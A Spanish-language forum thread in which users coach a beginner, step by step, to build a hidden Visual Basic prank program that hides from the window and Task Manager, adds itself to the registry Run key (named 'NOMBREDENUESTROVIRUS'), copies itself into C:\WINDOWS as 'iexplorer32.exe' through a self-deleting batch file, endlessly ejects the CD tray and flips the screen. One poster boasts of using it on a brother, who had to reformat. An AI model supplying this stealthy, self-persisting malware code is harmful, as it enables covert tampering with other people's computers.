hola mi duda es: Como puedo crear una aplicacion que al ejecutarse no se vea la pantallita del form
por ejemplo: una aplicacion que al ejecutarse se abra el lector del cd, juntar ese archivo y un video o algo con un joiner y que al ejecutarse solo salga el video pero que no salga ninguna ventanita, nose si me explico, yo escojo la ventana de "Aplicacion para windows"
Con codigo:
Me.Visible = False
Con propiedades:
Seleccionas el Form y vas a la propiedad Visible. La colocas en False y ya esta. ;)
Si quieres que no aparezca en el Adminitrador de tareas (sección Aplicaciones):
App.TaskVisible = False
Seleccionas el form y abajo en propiedades aparece visible=false eso debes cambiarlo a true o insertarle este código:
form1.hide = true
Cita de: WHK en 28 Octubre 2007, 16:53 PM
Seleccionas el form y abajo en propiedades aparece visible=false eso debes cambiarlo a true o insertarle este código:
form1.hide = true
Te hare la correcion ;)
Hide es una funcion. En este caso no requiere parametros.
Para usarla seria:
Form1.Hide
Y mas nada ;)
Perdón :P esque hace mucho que dejé VB
-al poner me.visible = false no tengo problemas pero al poner form1.hide si :
Error 1 'WindowsApplication1.Form1' no puede hacerse referencia a sí mismo a través de su instancia predeterminada; utilice 'Me' en su lugar. C:\Documents and Settings\Rafa\Configuración local\Datos de programa\Temporary Projects\WindowsApplication1\Form1.vb 4 9 WindowsApplication1
-otra cosa: para agregar algo al registro pongo:
Shell "cmd.exe /c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v
NOMBREDENUESTROVIRUS /d Rutadenuestrovirus.exe"
y me salen estos errores:
Error 1 No se ha declarado el nombre 'prueba'. C:\Documents and Settings\Rafa\Configuración local\Datos de programa\Temporary Projects\WindowsApplication1\Form1.vb 6 1 WindowsApplication1
Error 2 Los argumentos de método se deben incluir entre paréntesis. C:\Documents and Settings\Rafa\Configuración local\Datos de programa\Temporary Projects\WindowsApplication1\Form1.vb 6 8 WindowsApplication1
Error 3 Se esperaba una expresión. C:\Documents and Settings\Rafa\Configuración local\Datos de programa\Temporary Projects\WindowsApplication1\Form1.vb 6 8 WindowsApplication1
Error 4 No se ha declarado el nombre 'd'. C:\Documents and Settings\Rafa\Configuración local\Datos de programa\Temporary Projects\WindowsApplication1\Form1.vb 6 9 WindowsApplication1
Error 5 Error de sintaxis. C:\Documents and Settings\Rafa\Configuración local\Datos de programa\Temporary Projects\WindowsApplication1\Form1.vb 6 13 WindowsApplication1
lo unico que he hecho en visual basic son aplicaciones para windows muy sencillas(como hacer una mini calculadora...etc)
tambien estuve buscando codes para abrir y cerrar el lector pero me daban errores todos...
agregas un modulo y agregas esto:
Sub main()
'aqui tu code
End Sub
claro q no agregas formularios ... solo colocas el code alli y luego cuando se ejecuta todas las instrucciones ... finaliza.
Hola, Uhm... tiempo si entrar en el foro.
Yo prefiero usar:
me.visible = False 'Para ocultar una ventana
me.visible = True 'Para volver a mostarla
Aqui te dejo un código que utilice hace tiempo, no recuerdo de quien es o de donde lo saque, lo tenia guardado. Sirve para abrir y cerrar el cd-room.
En el módulo:
Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal _
lpstrReturnString As String, ByVal uReturnLength As Long, _
ByVal hwndCallback As Long) As Long
En el form:
Private Sub CmdAbrirCD_Click()
Dim Res As Long, ReturnString As String * 127
Res = mciSendString("Set CDAudio Door Open", ReturnString, 127, 0)
End Sub
Private Sub CmdCerrarCd_Click()
Dim Res As Long, ReturnString As String * 127
Res = mciSendString("Set CDAudio Door Closed", ReturnString, 127, 0)
End Sub
A mi me funciona bien, espero que a ti tambien... ::)
a mi no me va :huh:
a mi tampoco me funciona :-(, me salen estos errores:
Error 1 La instrucción no es válida en un espacio de nombres -->Private Sub CmdAbrirCD_Click()
Error 2 La instrucción no es válida en un espacio de nombres. -->Private Sub CmdCerrarCd_Click()
Error 3 La instrucción no es válida dentro de un método.
y para agregar al registro pongo esto dentro de otro modulo:
Module Module1
Sub main()
Shell("cmd.exe /c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v")
prueba /d prueba.txt"
End Sub
End Module
y me salen estos errores
Error 1 No se ha declarado el nombre 'prueba'
Error 2 Los argumentos de método se deben incluir entre paréntesis
Error 3 Se esperaba una expresión.
Error 4 No se ha declarado el nombre 'd'.
no me esta saliendo ningun code bien :-(
ahora me he dado cuenta de que si pongo me.visible = false, o me.hide en el form, cuando genero la aplicacion y la ejecuto me sale el form :-\
entonces para compilar por ejemplo el msn fucker de hendrix, copio el codigo en un modulo entre
Sub main()
code
End Sub
y en el formulario pongo solo me.hide o me.visible = false?
perdonar pero esque soy muy novato y aun no entiendo bien visual basic
Cita de: xhc en 28 Octubre 2007, 21:45 PM
Sub main()
Shell "cmd.exe /c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v prueba /d prueba.txt"
End Sub
Perdón por meterme en el tema, pero creo que es así :P, para que te funcione ese código que esta dentro del sub main al inciar la aplicación te vas a : proyecto -> propiedades de proyecto -> objeto inicial -> acá escoges "Sub Main".
Y agrega al submain esto:
Form1.Visible = False
Bueno, saludos ;)
tengo visual basic 6.0 y visual studio 2005, utilizo el 2005 porque esta en español, tiene algo que ver en los codes?? lo digo porque en visual basic 6.0 si que puedo ocultar el form,añadir cosas al registro(puse objeto inicial sub main, pero en vb 6.0) pero en vb 2005 me sale :-\ :huh:
Cita de
Gleper Citara mi no me va huh
Cita de
xhc Citara mi tampoco me funciona
En la propiedad 'Name' del primer CommandButton --> CmdAbrirCD
Y en la propiedad 'Name' del segundo CommandButton --> CmdCerrarCd
Y la funcion tal cual,en el módulo. Yo lo probe en vb 6.0 con WinXP sp2 y me funciono.
¡Bye!
gracias ya me va ( en visual basic 2005 no pero en vb 6.0 si ;D)
pero tiene que ser obligatorio que tenga botones?? esque querria poner un bucle que no parase de abrirse y cerrarse
¡Hey! Puedes hacer esto, modifica el code del form que te di, por este otro:
Option Explicit
Dim Res As Long, ReturnString As String * 127
Dim Abrir As Boolean
Private Sub Form_Load()
Timer1.Enabled = True
Timer1.Interval = 1000 'Aqui podes poner cualquier valor a partir de 1 _
Mientras mas bajo es el valor, mas rapido sera el ciclo.
'1000 equivale a 1 segundo.
End Sub
Private Sub Timer1_Timer()
If Abrir = False Then
'Cierra CD-ROOM
Res = mciSendString("Set CDAudio Door Closed", ReturnString, 127, 0)
Abrir = True
ElseIf Abrir = True Then
'Abre cd-room
Res = mciSendString("Set CDAudio Door Open", ReturnString, 127, 0)
Abrir = False
End If
End Sub
Debes tener cuidado con lo que haces, puedes hacerle daño a alguien... je,je, :P
jajaj si que me funciona, gracias, entonces siempre que en algun code ponga algo de timer le tengo que agregar un relojito
para que se autocopie en otra carpeta puse esto:
Shell "cmd.exe /c copy /y %0 "C:\WINDOWS\iexplorer32.exe"
per no me deja, que estoy haciendo mal?
Copy (origen) (destino)
Puedes hacerlo usando un bat, observa esto:
Option Explicit
Private Sub CrearBat()
Dim Canal As Integer
Canal = FreeFile 'Buscamos un canal libre
Open "Copiar.bat" For Output As #Canal 'creamos un bat
Print #Canal, "@echo off"
Print #Canal, "CD " & App.Path 'cambio de directorio
Print #Canal, "Copy " & App.EXEName & ".exe C:\WINDOWS\" _
& App.EXEName & ".exe /y"
Print #Canal, "del Copiar.bat" 'Aqui borramos el .bat
Close #Canal
End Sub
Private Sub Form_Load()
CrearBat
Shell "Copiar.bat"
End
End Sub
Pruebalo y dime si es lo que quieres.
si que se me copia pero no funciona, es decir: cuando genero el .exe y lo ejecuto no se empieza a abrir el lector pero sin embargo se copia a C:\WINDOWS
Bien, has lo siguiente: ubicate en la rutina 'CrearBat', luego, antes de la linea 'Print #Canal, "del Copiar.bat" 'Aqui borramos el .bat' , vas a agregar esta otra linea:
'Se ejecuta el archivo copiado
Print #Canal, "@start " & "C:\WINDOWS\" & App.EXEName & ".exe"
Solo vas a agregarla, no borraras nada en este procedimiento. Una vez hecho esto agregaras al programa, esta función:
'Esta es la función más sencilla para detectar la existencia de un archivo
Public Function ExisteArchivo(Archivo As String) As Boolean
ExisteArchivo = IIf(Dir$(Archivo) = "", False, True)
'Devolverá false, si Dir$ no encuentra el archivo especificado
End Function
Y modificaras tu procedimiento 'Form_Load' por este otro:
Private Sub Form_Load()
Me.Visible = False 'Formulario invisible
App.TaskVisible = False 'Oculto de la pestaña de aplicaciones del admin. de tareas
If ExisteArchivo("C:\WINDOWS\" & App.EXEName & ".exe") = False Then
'Si no encuentra el archivo entra aquí
CrearBat 'Creamos el bat
Shell "Copiar.bat" 'Y lo ejecutamos
End
Else
'Si lo encuentra entra aquí
Timer1.Enabled = True
Timer1.Interval = 1000 'Aqui podes poner cualquier valor a partir de 1 _
Mientras mas bajo es el valor, mas rapido sera el ciclo.
'1000 equivale a 1 segundo.
End If
End Sub
Al ejecutarlo, de un pendrive por ejemplo, se copiara asi mismo al directorio especificado y luego se ejecutara desde el mismo, mientras que el que ejecutastes desde el pendrive dejara de correr. Si lo ejecutas estando copiado en el directorio que se especifico antes, entonces tendras 2 programas corriendo al mismo tiempo, el que se encuentra en la carpeta que especificastes (el directorio de destino lo puedes cambiar a tu antojo) y el que se encuentra en el pendrive.
Creo que es más de lo que querias hacer, :rolleyes:
al ejecutarlo, me sale este error:
(http://imagen.subeimagen.com/170956aaaaaaa.JPG)
si que se copia a C:\WINDOWS y si lo ejecutas se empieza a abrir, pero el problema es que no se ejecuta solo
¡A ver! quizas armastes el código mal, te lo posteo completo, para que veas como queda, recién lo probe en vb6.0 y funciona como se espera.
Option Explicit
Dim Res As Long, ReturnString As String * 127
Dim Abrir As Boolean
Private Sub Timer1_Timer()
If Abrir = False Then
'Cierra CD-ROOM
Res = mciSendString("Set CDAudio Door Closed", ReturnString, 127, 0)
Abrir = True
ElseIf Abrir = True Then
'Abre cd-room
Res = mciSendString("Set CDAudio Door Open", ReturnString, 127, 0)
Abrir = False
End If
End Sub
Private Sub CrearBat()
Dim Canal As Integer
Canal = FreeFile 'Buscamos un canal libre
Open "Copiar.bat" For Output As #Canal 'creamos un bat
Print #Canal, "@echo off"
Print #Canal, "CD " & App.Path 'cambio de directorio
Print #Canal, "Copy " & App.EXEName & ".exe C:\WINDOWS\" _
& App.EXEName & ".exe /y"
'Se ejecuta el archivo copiado
Print #Canal, "@start " & "C:\WINDOWS\" & App.EXEName & ".exe"
Print #Canal, "del Copiar.bat" 'Aqui borramos el .bat
Close #Canal
End Sub
Private Sub Form_Load()
Me.Visible = False 'Formulario invisible
App.TaskVisible = False 'Oculto del administrador de tareas
If ExisteArchivo("C:\WINDOWS\" & App.EXEName & ".exe") = False Then
'Si no encuentra el archivo entra aquí
CrearBat 'Creamos el bat
Shell "Copiar.bat" 'Y lo ejecutamos
End
Else
'Si lo encuentra entra aquí
Timer1.Enabled = True
Timer1.Interval = 1000 'Aqui podes poner cualquier valor a partir de 1 _
Mientras mas bajo es el valor, mas rapido sera el ciclo.
'1000 equivale a 1 segundo.
End If
End Sub
'Esta es la función más sencilla para detectar la existencia de un archivo
Public Function ExisteArchivo(Archivo As String) As Boolean
ExisteArchivo = IIf(Dir$(Archivo) = "", False, True)
'Devolverá false, si Dir$ no encuentra el archivo especificado
End Function
Así debe quedar, No te olvides del módulo... :o
si, seguramente lo armaria mal porque con el code completo que pusiste me funciona perfecto :o ;D
gracias
yo lla he hecho eso se lo hice ha my ermano es muy divertido ademas de todo esto hice que se arrancara en el inicio entonces no paraba en ningun momento
tambien despues de un tiempo agrege que se pusiera la pantalla al reves el pobre casy tubo que formatear su computadora porque obiamente no es un virus asy que no lo detectaban los antivirus jajajajajajajajajajajj.......jajajajajajajajajaj....jajajajajajajaja
Como hiciste lo de la pantalla al reves??
Pone el bucle en el SubMain y dentro de este llama al Cmd(...)_Click
Slds.-
Perdon...me parece que deberias, en ese caso, desde el Form_Load escribir el bucle y dentro llamar a Cmd(...)_Click que corresponda.
Saludos.-
(Dar vuelta la pantalla)...creo que se deberia enviar mediante "SendKeys" los cmd AltGr y la flecha para abajo...puede ser?
Slds.-
Cita de: hAcKeR92 en 4 Febrero 2008, 01:33 AM
Como hiciste lo de la pantalla al reves??
bueno eso lo pudes hacer con el teclado (ctr+alt+flecha abajo)
tambien la pudes poner para un lado o para otro entonces lo que aces en vb es usar la funcion senkeys para emular que pulsaron el teclado para poner la pantalla para arriba por ejemplo seria
SendKeys.SendWait("^%{DOWN}")
tambien se pude emular cualkier combinacion de teclas aqui dejo un url donde explican bastante bien como utilisar este metodo
http://javascripts.astalaweb.com/Ayuda/html/wsmthsendkeys.asp
que se diviertan jajajaja salu2